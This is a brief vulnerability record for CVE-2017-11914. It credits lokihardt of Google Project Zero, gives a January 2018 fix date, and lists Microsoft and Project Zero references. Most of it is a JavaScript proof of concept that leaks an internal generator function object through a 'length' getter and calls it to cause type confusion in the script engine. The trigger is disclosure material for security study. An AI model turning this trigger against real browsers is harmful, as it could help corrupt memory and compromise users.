CVE-2017-11914.md

CVE-2017-11914

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

function* f() {
}

let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678);  // type confusion

Reference

• Microsoft
• Google Project Zero
• Fix